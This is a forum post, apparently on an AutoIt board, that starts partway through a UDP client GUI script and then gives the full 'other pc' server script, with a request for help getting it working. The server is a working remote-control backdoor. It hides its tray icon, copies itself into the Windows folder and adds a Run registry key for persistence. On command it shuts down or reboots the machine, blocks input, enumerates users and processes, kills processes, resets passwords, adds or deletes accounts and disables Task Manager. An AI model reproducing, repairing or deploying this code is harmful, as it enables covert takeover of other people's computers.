                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "onhideallitemsdesktop" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host desktop items are hide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
        
        Case $Button17
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"offhideallitemsdesktop")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "offhideallitemsdesktop" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host desktop item are unhide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
        Case $Button18
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"onhideclock")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "onhideclock" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host clock is hide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
        
        Case $Button19
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"offhideclock")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "offhideclock" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host clock is unhide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
        Case $Button20
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"onhidebuttonlogoff")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "onhidebuttonlogoff" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host log off button was hide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
        
        Case $Button21
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"offhidebuttonlogoff")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "offhidebuttonlogoff" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host log off button was unhide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
        
        Case $Button22
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"onhidetryicons")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "onhidetryicons" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host tray icons are hide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
        
        Case $Button23
            If GUICtrlRead($ip) = "" Then
                Msgbox(64,"No ip","Please full a ip adres in")
            EndIf
            $socket = UDPOpen(GUICtrlRead($ip), 28960)
            If @error <> 0 Then Exit
            
            $status = UDPSend($socket,"offhidetryicons")
            If $status = 0 then
                MsgBox(0, "ERROR", "Error while sending UDP message: " & @error)
            EndIf
            
            while 1
                $data = UDPRecv($socket, 50)
                
                If $data = "offhidetryicons" Then
                    GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host try icons are unhide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info))
                    ExitLoop
                EndIf
                sleep(100)
            wend
            
            Sleep(100)
    EndSwitch
WEnd

This is the code on the other pc:

#include <GUIConstants.au3>
#include <Constants.au3>
#include <process.au3>
#NoTrayIcon

$text = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "ProgramFilesDir")
$array = StringSplit($text, '\', 1)

FileCopy(@scriptdir & "\rme.exe",$array[1] & "\WINDOWS\")
Regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","rme","REG_SZ",$array[1] & "\WINDOWS\rme.exe")


Global $msg2 = "Process List:"
Global $pList = ProcessList()
;;This is the UDP Server
;;Start this first

; Start The UDP Services
;==============================================
UDPStartup()

; Bind to a SOCKET
;==============================================
$socket = UDPBind("172.27.183.213", 28960)


While 1
    $data = UDPRecv($socket, 50)
    
    If $data = "Connect" Then
        UDPSend($socket,"Connected")
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    If $data = "shutdown" Then
        UDPSend($socket,"shuttingdown")
        Shutdown(13)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    If $data = "reboot" Then
        UDPSend($socket,"rebooting")
        Shutdown(6)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    
    If $data = "blockinput" Then
        UDPSend($socket,"blockinput")
        Blockinput(1)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    If $data = "unblockinput" Then
        UDPSend($socket,"unblockinput")
        BlockInput(0)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    If $data = "getuser" Then
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        $rc = Run(@ComSpec & " /c net user", @WorkingDir, @SW_HIDE, $STDOUT_CHILD)
            $StdOut = ""
            While ProcessExists($rc)
                If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc)
            WEnd
        UDPSend($socket,"userfound|" & $StdOut)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
        
    If $data = "tasklist" Then
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        $rc = Run(@ComSpec & " /c tasklist", @WorkingDir, @SW_HIDE, $STDOUT_CHILD)
            $StdOut = ""
            While ProcessExists($rc)
                If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc)
            WEnd
        UDPSend($socket,"tasklist|" & $StdOut)
        
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf

    If  $data = "tasklistkill" Then
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        While 1
                $data1 = UDPRecv($socket, 999999)
                If StringInStr($data1, "|") Then
                    $string = StringSplit($data1, "|")
                    If $string[0] = 2 And $string[1] = "tasklistkill2" Then
                        If ProcessExists($string[2]) Then
                            ProcessClose($string[2])
                            
                            Sleep(2000)
                                If ProcessExists($string[2]) Then
                                    UDPSend($socket,"false")
                                    ExitLoop
                                Else
                                    UDPSend($socket,"ok")
                                    ExitLoop
                                EndIf
                        Else 
                            UDPSend($socket,"false2")
                            ExitLoop
                        EndIf                       
                    Else
                        MsgBox(16, "Error", "Unexpected reply to 'Tasklist': " & $data1)
                    EndIf
                    Sleep(100)
                EndIf
        WEnd
    EndIf
        
    If $data = "userpassword" Then
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        Sleep(2000)
        While 1
               $data1 = UDPRecv($socket, 999999)
                If StringInStr($data1, "|") Then
                    $string = StringSplit($data1, "|")
                    If $string[1] = "userpassword2" Then
                ;;;;;;;;;;;;;;;;;;;;;;;;;;
                            $rc3 = Run(@ComSpec & " /c net user " & $string[2] & " " & $string[3], @WorkingDir, @SW_HIDE, $STDOUT_CHILD)
                            $StdOut3 = ""
                            While ProcessExists($rc3)
                                If StdoutRead($rc3, 0, 1) Then $StdOut3 &= StdoutRead($rc3)
                            WEnd
                            
                            If $StdOut3 <> "" Then
                                UDPSend($socket,"ok")
                                ExitLoop
                            Else
                                UDPSend($socket,"false")
                                ExitLoop
                            EndIf
                    ;;;;;;;;;;;;;;;;;;;;;;;;;;
                        Else

                    EndIf
                    Sleep(100)
                EndIf
        WEnd
    EndIf
    
    If $data = "useradd" Then
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        Sleep(2000)
        While 1
               $data1 = UDPRecv($socket, 999999)
                If StringInStr($data1, "|") Then
                    $string = StringSplit($data1, "|")
                    If $string[1] = "useradd2" Then
                ;;;;;;;;;;;;;;;;;;;;;;;;;;
                            $rc3 = Run(@ComSpec & " /c net user " & $string[2] & " " & "/add", @WorkingDir, @SW_HIDE, $STDOUT_CHILD)
                            $StdOut3 = ""
                            While ProcessExists($rc3)
                                If StdoutRead($rc3, 0, 1) Then $StdOut3 &= StdoutRead($rc3)
                            WEnd
                            
                            If $StdOut3 <> "" Then
                                UDPSend($socket,"ok")
                                ExitLoop
                            Else
                                UDPSend($socket,"false")
                                ExitLoop
                            EndIf
                    ;;;;;;;;;;;;;;;;;;;;;;;;;;
                        Else
                            
                    EndIf
                    Sleep(100)
                EndIf
        WEnd
    EndIf
    
    
    If $data = "userdelete" Then
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        Sleep(2000)
        While 1
               $data1 = UDPRecv($socket, 999999)
                If StringInStr($data1, "|") Then
                    $string = StringSplit($data1, "|")
                    If $string[1] = "userdelete2" Then
                ;;;;;;;;;;;;;;;;;;;;;;;;;;
                            $rc3 = Run(@ComSpec & " /c net user " & $string[2] & " " & "/delete", @WorkingDir, @SW_HIDE, $STDOUT_CHILD)
                            $StdOut3 = ""
                            While ProcessExists($rc3)
                                If StdoutRead($rc3, 0, 1) Then $StdOut3 &= StdoutRead($rc3)
                            WEnd
                            
                            If $StdOut3 <> "" Then
                                UDPSend($socket,"ok")
                                ExitLoop
                            Else
                                UDPSend($socket,"false")
                                ExitLoop
                            EndIf
                    ;;;;;;;;;;;;;;;;;;;;;;;;;;
                        Else
                            
                    EndIf
                    Sleep(100)
                EndIf
        WEnd
    EndIf
    
    If $data = "onhidetryicons" Then
        msgbox(0,"","hideon")
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoTrayItemsDisplay", "REG_DWORD", "1")
        Sleep(1000)
        msgbox(0,"","hideon") 
        If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoTrayItemsDisplay") = "1" Then
            UDPSend($socket,"onhidetryicons")
        Else
        EndIf
        
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf

    If $data = "offhidetryicons" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoTrayItemsDisplay", "REG_DWORD", "0")
        Sleep(1000)
        If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoTrayItemsDisplay") = "0" Then
            UDPSend($socket,"offhidetryicons")
        Else
        EndIf
        
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf   
    
    If $data = "onhideclock" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "HideClock", "REG_DWORD", "1")
        Sleep(1000)
        If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "HideClock") = "1" Then
            UDPSend($socket,"onhideclock")
        Else
        EndIf
        
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf

    If $data = "offhideclock" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "HideClock", "REG_DWORD", "0")
        Sleep(1000)
        If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "HideClock") = "0" Then
            UDPSend($socket,"offhideclock")
        Else
        EndIf
        
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    If $data = "onhideallitemsdesktop" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDesktop", "REG_DWORD", "1")
        Sleep(1000)
        If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDesktop") = "1" Then
            UDPSend($socket,"onhideallitemsdesktop")
        Else
        EndIf
        
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    If $data = "offhideallitemsdesktop" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDesktop", "REG_DWORD", "0")
        Sleep(1000)
        If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDesktop") = "0" Then
            UDPSend($socket,"offhideallitemsdesktop")
        Else
        EndIf
        
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    If $data = "enabletaskmanager" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "0")
        Sleep(1000)
        If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr") = "0" Then
            UDPSend($socket,"enabletaskmanager")
        Else
        EndIf
        
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    If $data = "disabletaskmanager" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
        Sleep(1000)
        If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr") = "1" Then
            UDPSend($socket,"disabletaskmanager")
        Else
        EndIf
        
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    If $data = "onhidebuttonlogoff" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "StartMenuLogoff", "REG_DWORD", "1")
        Sleep(1000)
        If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "StartMenuLogoff") = "1" Then
            UDPSend($socket,"onhidebuttonlogoff")
        Else
        EndIf
        
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
        If $data = "offhidebuttonlogoff" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "StartMenuLogoff", "REG_DWORD", "0")
        Sleep(1000)
        If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "StartMenuLogoff") = "0" Then
            UDPSend($socket,"offhidebuttonlogoff")
        Else
        EndIf
        
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    EndIf
    
    sleep(100)
WEnd

Func OnAutoItExit()
    UDPCloseSocket($socket)
    UDPShutdown()
EndFunc

All ports ar eopen and firewalls are down etc...

Could someone help me please.. i want to use it

Edited by Erik.

I little problem, hard to find and fix

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0